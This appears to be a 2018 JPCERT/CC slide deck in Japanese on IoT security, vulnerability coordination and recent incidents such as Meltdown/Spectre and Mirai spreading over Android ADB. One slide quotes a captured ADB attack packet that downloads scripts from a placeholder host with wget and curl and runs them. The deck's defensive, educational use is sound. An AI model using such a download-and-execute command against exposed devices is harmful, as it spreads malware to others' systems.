Society5.0 社会におけるIoT をとりまくセキュリティの現状と対策への考え方
2018年11月22日
JPCERT/CC
早期警戒グループ 洞田 慎一

説明の流れはじめに最近のセキュリティ動向を振り返る

対策へ向けた課題

まとめ

2

Copyright ©2018 JPCERT/CC All rights reserved.

はじめに

3

Copyright ©2018 JPCERT/CC All rights reserved.

JPCERT/CC とは
一般社団法人 JPCERT コーディネーションセンター
Japan Computer Emergency Response Team / Coordination Center コンピュータセキュリティインシデントへの対応、国内外にセンサをおいたインターネット定点観測、ソフトウエアや情報システム・制御システム機器等の脆弱性への対応など 我が国における「セキュリティ向上を推進する活動」を実施
 サービス対象: 日本国内のインターネット利用者やセキュリティ管理担
当者、ソフトウエア製品開発者等（主に、情報セキュリティ担当者）
 インシデント対応をはじめとする、国際連携が必要なオペレーションや情報連携に関する、我が国の窓口となる「CSIRT」※各国に同様の窓口となるCSIRTが存在する(例、米国のUS-CERT, CERT/CC, 中国のCNCERT, 韓国のKrCERT/CC)

経済産業省からの委託事業として、サイバー攻撃等国際連携対応調整事業を実施

4Copyright ©2018 JPCERT/CC All rights reserved.

「JPCERT/CCをご存知ですか？」

JPCERT/CCの活動
インシデント予防

インシデントの予測と捕捉発生したインシデントへの対応

脆弱性情報ハンドリング

情報収集・分析・発信

インシデントハンドリング 未公開の脆弱性関連情報を製品開発者へ提供し、対応依頼
 関係機関と連携し、国際的に情報公開日を調整
 セキュアなコーディング手法の普及
 制御システムに関する脆弱性関連情報の適切な流通 ネットワークトラフィック情報の収集
分析 セキュリティ上の脅威情報の収集、分析、必要とする組織への提供

 マルウエアの接続先等の攻撃関連サイト等の閉鎖等による被害最小化
 攻撃手法の分析支援による被害可能性の確認、拡散抑止 再発防止に向けた関係各関の情報交換
及び情報共有早期警戒情報CSIRT構築支援（インシデント対応調整支援）

重要インフラ、重要情報インフラ事業者等の特定組織向け情報発信
海外のNational-CSIRTや企業内のセキュリティ対応組織の構築・運用支援

制御システムセキュリティ

制御システムに関するインシデントハンドリング/情報収集,分析発信

アーティファクト分析

マルウエア（不正プログラム）等の攻撃手法の分析、解析

国内外関係者との連携

日本シーサート協議会、フィッシング対策協議会の事務局運営等

国際連携
5

定点観測（TSUBAME）

Copyright ©2018 JPCERT/CC All rights reserved.

各種業務を円滑に行うための海外関係機関との連携

コーディネーションセンターとしての役割
様々なパートナーとの調整
攻撃者

被害組織
情報共有
Coordination

攻撃情報

セキュリティ関連組織
ベンダ、研究者等

METI
情報共有

警察, IPA, NICT, J-LIS,個人情報保護委員会等

情報共有
Coordination

ISAC

活動支援

国内外CSIRT

CEPTOAR

NISC
調整

政府組織

インシデントに関する調整 (coordination) 機関として、問題解決に向けて、必要な人に必要な情報を届ける業務を行っています6

Copyright ©2018 JPCERT/CC All rights reserved.

JPCERT/CCの活用
コーディネーションセンターの役割と活用— インシデントレスポンス“インシデント”に向き合った活動を展開して— 脆弱性・脅威情報に関する情報流通
います
脆弱性情報 【JVN】
脅威情報、注意喚起、早期警戒情報他— アーティファクト分析【検体解析など】— 国内外 のCSIRT 連携促進、コミュニティ推進
例えば、こんなときにお役立てください— インシデントが発生し、初動対応での技術的な支援や情報が必要となるケース— 日々の対策を進める上で、脆弱性や脅威に関する情報が必要となるケース— その他、お気軽にご相談ください
7

Copyright ©2018 JPCERT/CC All rights reserved.

インシデントに向き合った活動
発生したインシデントへの対応 (主に CSIRT)— インシデント初動対応への技術的な支援、助言例）インシデントレスポンス、アーティファクト分析など— CSIRT : Computer Security Incident Response Team

製品の脆弱性への対応 (主に PSIRT)— 届けられた製品の脆弱性についての調整、脆弱性情報の公開— PSIRT : Product Security Incident Response Team

事前、事後への対応— 情報提供、情報共有、インターネット上の脅威への分析

制御システムセキュリティ分野 (ICS) についての活動も行っています
8Copyright ©2018 JPCERT/CC All rights reserved.

組織における PSIRT の活動
CSIRT と PSIRT の違い— CSIRT
組織内のシステムに対するセキュリティに注目した活動— PSIRT
自社製品のセキュリティ (脆弱性等) に注目した活動

製品・サービスの脆弱性への対応が期待される— 脆弱性情報の受領、調査、報告・通知の管理等— 守る対象となる製品・サービス、組織などの特性に応じてPSIRT の組織構造やサービスは様々な形態が考えられる

引用: SoftwareISAC, JPCERT/CC “PSIRT Services Framework Version 1.0 Draft 日本語抄訳”
https://first.org/education/FIRST_PSIRT_Services_Framework_v1.0_draft_ja.pdf
9

Copyright ©2018 JPCERT/CC All rights reserved.

製品開発者にとって、脆弱性の存在は不可避
全ての攻撃の脅威に備えるのは不可能— 新たな攻撃手法が出現

開発が大規模になればなるほど、既知の脆弱性対策の反映が困難— 脆弱性情報の収集と取りまとめ— 外部委託先での管理製品に脆弱性が発見された場合、ユーザに不安を与えず、冷静に対処してもらうことが重要

適切な情報公開のためのプロセスが存在
10

Copyright ©2018 JPCERT/CC All rights reserved.

【JPCERT/CCの活動】

ソフトウェア等の脆弱性対策の公開に向けたハンドリング業務
経済産業省告示等に基づく脆弱性情報ハンドリングの制度における「調整機関」を担う発見された脆弱性についてメーカーと調整を行い、「対策の準備」と「対策周知のための公表」を関係者間で準備する。
年間で国内外数千件の調整を実施
注意喚起

海外調整機関等
発見者

IPA
発見者

修正依頼
公開日調整

国内の「届出窓口」は（独）情報処理推進機構（IPA）が実施

利用者

国内外のソフトウェア・機器メーカー
11

Copyright ©2018 JPCERT/CC All rights reserved.

対策方法（修正パッチ）の準備

脆弱性対策情報ポータルサイト

JVN（Japan Vulnerability Notes）
国内外の脆弱性について記載
・JPCERT/CCで調整、公表
・CERT/CC VU翻訳など・開発ベンダに修正パッチなどの作成を依頼
・脆弱性公表日などの調整
早期警戒パートナーシップ
届出受付機関脆弱性（IPA）
発見者

通知

調整
調整機関
（JPCERT/CC）

パッチができ、関係者合意の元JVN発行

ユーザ

早期警戒パートナーシップに沿って脆弱性が扱われることで、未修正の脆弱性が公開されるのを防いでいる
12

Copyright ©2018 JPCERT/CC All rights reserved.

国内での脆弱性届け出状況
462件 (2017年) の脆弱性関連情報が届けられる

引用: IPA, JPCERT/CC, “ソフトウェア等の脆弱性関連情報に関する届出状況”, https://www.ipa.go.jp/files/000063751.pdf

様々な製品の脆弱性関連情報が届けられる

各数字は届出受付開始（2004年7月8日）からの累計 (3,702件 / 2018Q3現在)
13

Copyright ©2018 JPCERT/CC All rights reserved.

国内流通していない脆弱性情報
必ずしも国内の全ての製品の脆弱性が、早期警戒パートナーシップに沿って、取り扱われているとは言えない フレームワークに沿っている場合（ゼロデイにならないケース）
開発者
発見者
利用者
調整
脆弱性機関
修正プログラム フレームワークに沿っていない場合（ゼロデイになるケース）
脆弱性

発見者

公開や売買攻撃者
攻撃（exploit）

脆弱性を公表している海外のフレームワークも一方で存在例）Exploit Database など

引用: EXPLOIT DATABASE
https://www.exploit-db.com/
14

Copyright ©2018 JPCERT/CC All rights reserved.

利用者注意喚起発行時点で既に悪用されているケースもJPCERT/CC からの注意喚起の発行・・49 件 (2017年)— 発行時点で実証コード等の公開に言及しているもの
９件— 発行時点で攻撃への悪用に言及しているもの
１０件

脆弱性情報が公開されてから、実証コードなどの詳細情報が公開されるケースもある— その後悪用が進むケースが存在することも否定はできない

製品の脆弱性を起点としたインシデントを防ぐ上で— 脆弱性を適切に修正すること— 利用者に早期に適用してもらうこと

15

Copyright ©2018 JPCERT/CC All rights reserved.

これらが不可欠最近のセキュリティ動向を振り返る

16

Copyright ©2018 JPCERT/CC All rights reserved.

本日取り上げたい話題
Meltdown, Spectre (CPU におけるサイドチャネル攻撃が可能な脆弱性) に関する話題 [2018年1月]— 問題そのものに対するインパクトも大きなものであったが、一般に普及している CPU であることから、メディアを含め広く取り上げられ注目を浴びることとなった

Android Debug Bridge (ADB) を悪用して、Mirai 亜種の感染拡大を狙う動き [2018年3月]— 利用環境は時として開発者の想定とすれ違う

17Copyright ©2018 JPCERT/CC All rights reserved.

【本日取り上げたい話題①】

Meltdown, Spectre 脆弱性
Reading privileged memory with a side-channel
３つの脆弱性 引用: https://googleprojectzero.blogspot.jp/2018/01/reading-privileged-memory-with-side.html— Spectre
Variant 1: bounds check bypass (CVE-2017-5753)
Variant 2: branch target injection (CVE-2017-5715)— Meltdown
Variant 3: rogue data cache load (CVE-2017-5754)— いずれもCPUから情報が窃取できるというもの

CPU の特性・仕様をうまくとらえた問題— 「投機的実行」や「アウトオブオーダー実行」— キャッシュに残された結果の読出し

その後も類似の問題の指摘や、実証コードの公開が続く
18

Copyright ©2018 JPCERT/CC All rights reserved.

Meltdown, Spectre 脆弱性への調整
情報の公開前夜の流れ— 2017 年6月に脆弱性発見 (Google Project Zeroと複数の大学研究者)— 公表 (1月第二週) に向けてメーカーやベンダと調整中

1 月 2 日にイギリスの IT 情報サイトによって取り上げられる
急遽 Google も 1 月 3 日に脆弱性の内容を公表

舞台裏についてのパネルディスカッション— Behind the Speculative Curtain: True Story of Fighting
Meltdown and Spectre, Black Hat USA 2018.
— 脆弱性調整の舞台裏

Intel 等のプロセッサメーカの対応
Google がベンダ間協議の場の呼びかけ→問題解決に向かう— 発見者と情報を受けた企業との適切な情報交換・コミュニケーションが必要
19

Copyright ©2018 JPCERT/CC All rights reserved.

脆弱性に対する製品の管理における課題
ファームウエアや、サードパーティのライブラリなどでの脆弱性をどう考えるか？

— アップデートに対する製造者にかかる責任/負担— 最終的な製品がどの脆弱性の影響を受けるのか、影響範囲がどこまでなのかといった脆弱性の管理が必要— 開発が大規模になればなるほど、既知の脆弱性対策の反映が困難
脆弱性情報の収集と取り纏め外部委託先での管理影響が広い範囲に及ぶケースも考えられる影響を受ける？

C社製品— 製品に脆弱性が発見された場合、ユーザに不安を与えず、冷静に対処してもらうことも重要— 業界全体で対応を検討していくことも必要

D社製品

影響を受ける？

E社製品
影響を受ける？

モジュール供給
A社

モジュール供給
B社
以前は供給

ライブラリ供給（脆弱なコンポーネント）

サイバー攻撃を受けることを前提とした対策の検討が肝要
20

Copyright ©2018 JPCERT/CC All rights reserved.

【本日取り上げたい話題②】

5555/TCP を悪用して感染を拡げる Mirai 亜種
Mirai, Mirai 亜種の感染拡大の方法は常に変化(感染手口の例)— ~2016年 telnet 等のコンソールへ侵入 (脆弱なパスワード)— 2017年 SoC SDK における脆弱性の悪用— 2018年 Android ADB の悪用

参考: 警察庁@police, “Android 端末の ADB ポートが「Mirai」の亜種「Satori」の拡散に利用されていることを確認”,
https://www.npa.go.jp/cyberpolice/important/2018/201803121.html

5555/TCP の観測状況 (JPCERT/CC 定点観測 TSUBAME)

21

Copyright ©2018 JPCERT/CC All rights reserved.

到達するパケットと ADB
5555/TCP に到達するパケット (抜粋)CNXN host:: OPEN shell:cd /data/local/tmp;wget
http://aaa.bbb.ccc.ddd/br -O- >br;sh br;busybox wget http://aaa.bbb.ccc.ddd/r -O- >r;sh r;curl http://aaa.bbb.ccc.ddd /c >c;sh c;busybox
curl http://aaa.bbb.ccc.ddd/bc >bc;sh bc— Android Debug Bridge (ADB) コマンドのパケット
参考: Trendmicro, Android 端末の ADB ポートが「Mirai」の亜種「Satori」の拡散に利用されていることを確認,
https://blog.trendmicro.co.jp/archives/19433

ADB・・・
一般利用目的というよりも開発・デバッグ目的— shellを開いて任意のコマンドを実行することも可能

5555/tcp

引用: Android Debug Bridge, https://developer.android.com/studio/command-line/adb?hl=ja22

Copyright ©2018 JPCERT/CC All rights reserved.

攻撃対象となった Android Emulator
NICT による調査

引用: NICT, “継続する 5555/TCP ポート宛攻撃通信と ADB が有効化された脆弱な Android エミュレータについて”,
https://blog.nicter.jp/2018/10/android-5555/— 攻撃観測から見る特徴

ADB がデフォルトで有効化され、5555/TCPポートで通信を待ち受ける— 例えば Android エミュレータ “BlueStacks” が条件を満たしていた

ユーザ設定・使用環境と開発者の想定が異なることはしばしば発生することに注意— LAN 内で使われるだろうという思い込み— 理解している人が注意をもって使うだろうという思い込み

23

Copyright ©2018 JPCERT/CC All rights reserved.

【本日取り上げたい話題③】

BitCoin Core の脆弱性 (CVE-2018-17144)
Bitcoin のノードに対してサービス運用妨害 (DoS)
攻撃 が可能な脆弱性が発見される— Bitcoin 全体への影響懸念— 短期間での対応
9月17日 脆弱性報告
9月18日 修正版リリース
9月19日 MLでの周知

その後、バージョン探索する PoC も作られる
引用: BitcoinCore, “CVE-2018-17144 Full Disclosure”,
https://bitcoincore.org/en/2018/09/20/notice/24

Copyright ©2018 JPCERT/CC All rights reserved.

最近のセキュリティ動向を振り返る
本日取り上げた問題— Meltdown, Spectre における脆弱性の調整に関する問題— Android Debug Bridge の不用意な開放— BitCoin Core における脆弱性の問題

開発者にとって考えたい課題— 広範囲に影響する脆弱性への対応

他社の脆弱性が自社製品に影響することをどう気付くか業界などでの横の連携も不可欠— 開発者の想定しないユーザの利用方法への対応
ユーザの問題である、と簡単に片づけてよいか？

— 仕組みとしての安全性と、前提となる技術での脆弱性

技術・実装に対するちょっとした脆弱性でも大きな影響につながる可能性25Copyright ©2018 JPCERT/CC All rights reserved.

対策へ向けた課題

26

Copyright ©2018 JPCERT/CC All rights reserved.

近い将来として想像される姿 ~Society 5.0 社会~
我が国の目指すべき未来社会の姿として第５期科学技術計画(2015年) において提唱された考え方— 我が国における ICT (Information Communication
Technology) や、IoTについて今後の技術応用や制度などに影響を与える可能性— 具体的イメージとして提示されている例
ドローン配達
AI冷蔵庫
介護ロボット
隊列トラックなど

参考: 内閣府, Society 5.0,
http://www8.cao.go.jp/cstp/society5_0/index.html

先に挙げた課題は、この社会の実現に際して、どう解決するか？
27

Copyright ©2018 JPCERT/CC All rights reserved.

課題の再考先に挙げた課題のふりかえり— 広範囲に影響する脆弱性への対応— 開発者の想定しないユーザの利用方法への対応— 仕組みとしての安全性だけでなく、前提となる技術での脆弱性にも注目する

Society 4.0 (情報化社会) → 5.0 (超スマート社会) への変化

— ネットワークを活用したサービスがより機能を増し、画面の中だけにとどまらず、現実社会に暮らす上で欠かせない存在となる— 「つながる・つなげる」ことで価値が生まれる過程(価値創造過程: Value Creation Process)対策に向けて考えたいこと— サプライヤ、サービス提供者間など業界での問題の解決— 想定しない使い方を前提とした脆弱性対応— “矛と盾”・・・仕様上の落とし穴は必ず存在する

28

Copyright ©2018 JPCERT/CC All rights reserved.

サイバー・フィジカル・フレームワーク
サイバー・フィジカル・フレームワークにて提起されるSociety5.0 社会での産業上の問題

参考: 経済産業省, “サイバー・フィジカル・セキュリティ対策のフレームワークの策定に向けて”,
http://www.meti.go.jp/committee/kenkyukai/shoujo/sangyo_cyber/wg_1/pdf/001_06_00.pdf
29

Copyright ©2018 JPCERT/CC All rights reserved.

社会影響 (物理影響) を考えた整理影響が生じる領域（空間）を軸に考える② サイバー空間とフィジカル空間が交差する利用（例：３Dプリンタで具現化する)デバイス 1
データ A
デバイス 2

利用者 3① フィジカル空間に閉じた利用(コンピューティングの無い世界)

データ B

ロジック C③ サイバー空間に閉じた利用(ディスプレイの中の世界)

３層に環境や影響を単純化（サイバー・フィジカルフレームワーク)— ③ データ層・・・[リスク] データに対するCIA— ② サイバー・フィジカル層・・・[リスク] 安全な CPS/IoT— ① フィジカル層・・・
セキュリティを加味した[リスク] サプライチェーンマネージメント (SCM)

30

Copyright ©2018 JPCERT/CC All rights reserved.

引用: 経済産業省, “TheCyber/Physical Security
Framework (Draft) “,
http://www.meti.go.jp/press/2018/05/20180502003/20
180502003-1.pdf

NIST IR 8200 とマネージメント
それぞれの層における、全体を俯瞰した国際ルールやリスクは、NIST
IR 8200 を参照するとわかりやすい
NIST IR 8200 (Draft), “Interagency Report on Status of International
Cybersecurity Standardization for the Internet of Things (IoT)”,
https://csrc.nist.gov/publications/detail/nistir/8200/draft.
NIST IR 8200 で指摘されるリスク——————————

31

Cryptographic Technology
Cyber Incident Management
Hardware Assurance
Identity and Access Management
Information Security Management
Systems (ISMS)
IT System Security Evaluation
Network Security
Security Automation andContinuous Monitoring (SACM)
Software Assurance
Supply Chain Risk Management
System Security Engineering

Copyright ©2018 JPCERT/CC All rights reserved.

【参考】ネットワークカメラシステムにおける情報セキュリティ対策要件チェックリスト (IPA)
IPA, “ネットワークカメラシステムにおける情報セキュリ
ティ対策要件チェックリスト”,
https://www.ipa.go.jp/security/jisec/choutatsu/nwcs/index.html

開発や調達時での要件を定めたもの— 作る側と使う側— 双方の意識が重要

32

Copyright ©2018 JPCERT/CC All rights reserved.

製品開発者の側で考えたいことSociety 5.0 (超スマート社会) が想定するようなシステムが影響を受けた場合— 生活や行動などフィジカル空間にも影響を及ぼす可能性

対策にはどのような方策が考えられるか？

— 個社の製品におけるセキュリティ対策の向上（脆弱性への対応を含め）— サプライヤチェインでの対策— 利用想定範囲を考えた脅威分析

製品開発者の側で考えたいこと— PSIRT などの対応体制の設置— セキュア・バイ・デザイン

33

Copyright ©2018 JPCERT/CC All rights reserved.

悪用の経路も拡げて考える必要がある
例えば、IoT を活用したスマートライフが浸透していったと考えただけでも幅広い対応が不可欠
利用者環境② LANやWANを経由した攻撃

WIFI①インターネットを経由した侵入・攻撃

ネットワーク回線

BT, ZigBee③

無線通信規格の使用や実装を悪用した攻撃利用される環境や、条件に応じて、何をどこまで対策するか、事前のアセスメントも不可欠
34

Copyright ©2018 JPCERT/CC All rights reserved.

組織内での部門連携の問題
セキュリティに関する情報が外部から届いたら・・・
 セキュリティ担当者が直接外部からの情報を受け取るケースは少ない 情報を受け取った人が適切な部署に情報を展開する必要がある
1:連絡情報のトリアージ

 さらに内容によって組織内の様々な部門との連携が必要
設計の見直しコード修正、パッチ作成
テスト、リリース
発見者への報告

対応完了前に発見者がセキュリティに関する情報(脆弱性の詳細やPoCコードなど)を公開してしまう場合もあるので慎重な対応が求められる
35

Copyright ©2018 JPCERT/CC All rights reserved.

発見者

ベンダ

3:第一報
6:フィードバック
広報
営業

2:一次受け3:情報の展開

設計

4:連携、対応
開発

4:連携、対応研究

5:フィードバック

【参考】外部通知を視野に入れた対応体制の必要性
CSIRT が扱うインシデントも実際には組織内では気が付きにくく、外部からの通知より発覚することも多い— どのように情報が届いたとしても必要な担当部門にすみやかに共有される仕組み作りが不可欠
顧客

取材

広報

セキュリティ担当部門

コールセンター

経営層
リスク管理部門

システム
障害担当課
攻撃者

PSIRT が扱う製品の脆弱性も同じことが言える— 研究者（発見者）らの報告にどのように対応するか？

36

Copyright ©2018 JPCERT/CC All rights reserved.

IoT・製品を取り巻くエコシステムにおける課題
脆弱性などのある機器の特定ファームウエアのアップデート実施

課題：ネットワーク上の機器の状態を認知することが困難

課題：
・そもそも感染に気付けない
・自らは被害者ではないので、対策をとるインセンティブがない

被害への対応課題：影響範囲の特定や対策の実施には時間がかかる

ISP事業者

1

お互いの立場や範囲を理解し、協力していくことが重要！

被害組織

ユーザ・管理者

ファームウエアのアップデート開発

インシデント対応支援
課題：被害組織や原因が必ず特定できるわけではない

課題：

アップデートや機器の復旧方法のアナウンス

・使用可能な機能を制限することは対処しづらい

1

・OEM製品の場合、自社による対応が困難

ベンダ(国内・海外)
37

1

Copyright ©2018 JPCERT/CC All rights reserved.

1

課題：販売先、設置先管理まで面倒は見られない

設置事業者・販売店

業界や関係者で情報共有を行うことの重要性対策を進める上で、PSIRT の構築や、情報共有 (PSIRT間、同業他社、コミュニティ) がカギ— 情報セキュリティの分野では、ISAC (Information Sharing andAnalysis Center) による脅威情報の共有が進められている— PSIRT フレームワークにおいても、情報共有のエコシステムを構築することが望まれている
参考: https://www.jpcert.or.jp/research/psirtSF.html— 特に、脅威や脆弱性、影響などに関して共通の話題がある場合には情報共有は進みやすい
国内ベンダーにおける取組の例— Software ISAC(CSAJ, http://www.csaj.jp/committee/security/softwareisac.html)

コミュニティでの活動が環境を改善していく上で大きな役割を担うのではないかと考えられる
38

Copyright ©2018 JPCERT/CC All rights reserved.

まとめ

39

Copyright ©2018 JPCERT/CC All rights reserved.

2017年におけるIoTセキュリティの動向
インシデントに関する問題— IoT botnetの問題は継続中
コンソールへのアクセスだけでなく、製品の脆弱性を悪用するケース (IoT reaper) も観測されている— botnet だけでなくフィッシングサイトやサイバー攻撃の踏み台にされている事例も観測されている脆弱性に関する問題— 仕様や実装の問題や特徴がよく考えられた指摘が続いた— 現在はまだ、Web管理インターフェースにある脆弱性が悪用されているものが多いが、今後はより攻撃が複雑になっていく可能性がある

40

Copyright ©2018 JPCERT/CC All rights reserved.

おわりにインターネットに接続されたモノに対する脅威は増加している— 脆弱性の問題の悪用にも注意— 脆弱性への対策は、製品の運用時だけでなく、製品を作る際においても考慮が不可欠

実際の攻撃では一瞬のスキを突かれてしまう— アップデートまでの時間差— 仕様上の問題、実装上の問題— 共通ライブラリにおける脆弱性などの問題

IoT・製品を取り巻くエコシステムに対する課題— インシデントを防止、軽減するためにも同業他社、業界を超えた協力が不可欠

セキュリティに関して何かございましたら、JPCERT/CCまでご一報ください！
41

Copyright ©2018 JPCERT/CC All rights reserved.

IoTを構成する機能ごとの評価の必要性 : JPCERT/CC
チェックリストのご紹介
デバイスだけを評価すればいいわけではない。IoT とはネットワークに接続するシステムであることを踏まえるとシステム全体の評価が必要— NIST SP 800-183 に定義されている IoT の構成要素(Sensor, Aggregator, Communication Channel, e-utility, Decision trigger)— IoT の構成要素ごとに確認すべき項目を抽出
チェック項目—アカウントロックアウトメカニズム
有効期限切れパスワードへの強制失効オプション

https://www.owasp.org/index.php/IoT_S
ecurity_Guidance—

パスワード強度の担保機能
パスワードセキュリティオプション（2要素認証など）サービスやプロセスを起動するアカウントの権限管理

IoT Security Guidance
The Penetration Testing Execution
Standard
http://www.penteststandard.org/index.php/Main_Page—

The STRIDE Threat Model
https://msdn.microsoft.com/enus/library/ee823878(v=cs.20).aspx

共有ユーザアカウント・・・
42

Copyright ©2018 JPCERT/CC All rights reserved.

まもなく公開予定

お問合せ、インシデント対応のご依頼はJPCERTコーディネーションセンター— Email：pr@jpcert.or.jp— https://www.jpcert.or.jp/

インシデント報告— Email：info@jpcert.or.jp— https://www.jpcert.or.jp/form/

制御システムインシデントの報告— Email：icsr-ir@jpcert.or.jp— https://www.jpcert.or.jp/ics/ics-form

43

Copyright ©2018 JPCERT/CC All rights reserved.